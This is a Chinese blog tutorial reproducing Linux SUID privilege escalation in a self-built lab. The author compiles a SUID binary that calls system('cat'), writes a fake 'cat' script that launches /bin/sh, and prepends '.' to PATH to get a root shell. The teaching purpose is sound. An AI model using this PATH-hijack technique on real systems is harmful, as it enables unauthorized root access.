Linux----SUID提权复现

Linux系统提权

使用useradd命令,创建一个普通用户demo
useradd -m demo

useradd 的-m选项是在/home目录下创建demo用户的家目录。

确认用户是否创建成功
cat /etc/passwd

在这里插入图片描述

在/etc/passwd文件末尾的第一个字段出现用户名demo,则创建用户成功。

切换到/home/demo目录下,创建exp.c文件
cd /home/demo
touch exp.c
编写exp
vim exp.c
#include<stdlib.h>
#include<unistd.h>
int main()
{
   setuid(0);//设置用户id为0
   setgid(0);//设置用户组id为0
   system("cat");
   return 0;
}
使用gcc编译exp.c生成可执行文件exp
gcc exp.c -o exp
给exp赋予SUID权限
chmod u+s exp

在这里插入图片描述
-rws中的s代表SUID权限

切换到普通用户demo
su - demo

在这里插入图片描述

其中美元符$代表是普通用户,所以接下来要劫持环境变量,进行提权。

exp.c的system函数调用了cat脚本,所以要编写一个cat脚本。

touch cat
vi cat
#cat文件
/bin/sh

/bin/sh是新建一个shell终端

#赋予可执行权限
chmod u+x cat
echo $PATH

在这里插入图片描述在这里插入图片描述
linux执行一个脚本或可执行文件时,会通过PATH存储的路径依次查找。因为已经有内置命令cat在/bin目录中了,所以要劫持环境变量。

将当前路径添加到PATH中,当前路径是"."
PATH=.:$PATH
运行exp文件(提权)
./exp

在这里插入图片描述
最后,普通用户成功提权为root用户。

发布了17 篇原创文章 · 获赞 30 · 访问量 1817

猜你喜欢

转载自blog.csdn.net/qq_37451250/article/details/103359140